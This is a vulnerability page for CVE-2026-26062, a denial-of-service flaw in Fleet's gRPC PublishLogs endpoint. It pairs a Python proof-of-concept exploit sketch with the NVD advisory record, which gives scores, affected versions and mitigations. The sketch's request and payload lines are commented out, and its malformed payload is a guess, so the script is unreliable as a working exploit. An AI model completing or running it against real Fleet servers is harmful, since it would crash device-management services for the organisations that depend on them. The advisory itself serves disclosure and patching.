CVE-2026-26062

import grpc import time # This is a conceptual PoC. It requires the generated protobuf files for Fleet. # import launcher_pb2 # import launcher_pb2_grpc def exploit_cve_2026_26062(target_ip, target_port, launcher_token): """ PoC for CVE-2026-26062: Fleet gRPC Launcher PublishLogs DoS """ # Create an insecure channel to the Fleet server channel = grpc.insecure_channel(f'{target_ip}:{target_port}') try: # Initialize the stub (client) # stub = launcher_pb2_grpc.LauncherServiceStub(channel) # Construct a malicious request with unexpected input values # The specific payload depends on the proto definition, but generally # involves sending malformed data that the server doesn't handle gracefully. # Example concept: # malicious_payload = launcher_pb2.PublishLogsRequest( # launcher_token=launcher_token, # # Malformed input causing unhandled exception # data="\x00\xff\xfe" * 1000 # ) print(f"[*] Sending malformed gRPC request to {target_ip}:{target_port}...") # Send the request # stub.PublishLogs(malicious_payload) print("[+] Request sent. If vulnerable, the server process should terminate.") except grpc.RpcError as e: print(f"[-] RPC Error (Server might be down): {e.code()} - {e.details()}") except Exception as e: print(f"[-] Exception: {e}") finally: channel.close() # Usage Example # exploit_cve_2026_26062("192.168.1.10", 8080, "<VALID_LAUNCHER_TOKEN>")

{"cve": {"id": "CVE-2026-26062", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:02.020", "lastModified": "2026-05-18T14:09:38.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. Prior to version 4.81.0, Fleet contained a denial-of-service (DoS) issue in the gRPC Launcher `PublishLogs` endpoint. In affected versions, certain unexpected input values were not handled gracefully, which could cause the Fleet server process to terminate while processing an authenticated request from an enrolled Launcher host. An authenticated attacker with access to any enrolled Launcher node key could cause an immediate and complete denial of service by sending a single gRPC request to the `PublishLogs` endpoint. This vulnerability impacts availability only. There is no exposure of sensitive data, no authentication bypass, no privilege escalation, and no integrity impact. Version 4.81.0 contains a patch. If upgrading immediately is not possible, the following mitigations can reduce exposure. Restrict network access to the Fleet gRPC endpoint where feasible (for example, limiting inbound access to known host IP ranges); deploy Fleet behind infrastructure that terminates or filters gRPC traffic if Launcher log ingestion is not required; and/or monitor for repeated Fleet process crashes or unexpected restarts indicating potential exploitation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.81.0", "matchCriteriaId": "84AB2C74-C556-4B42-9A54-A5B201D1BDC3"}]}]}], "references": [{"url": "https://github.com/fleetdm/fleet/releases/tag/fleet-v4.81.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-x67p-9m2r-fxqv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}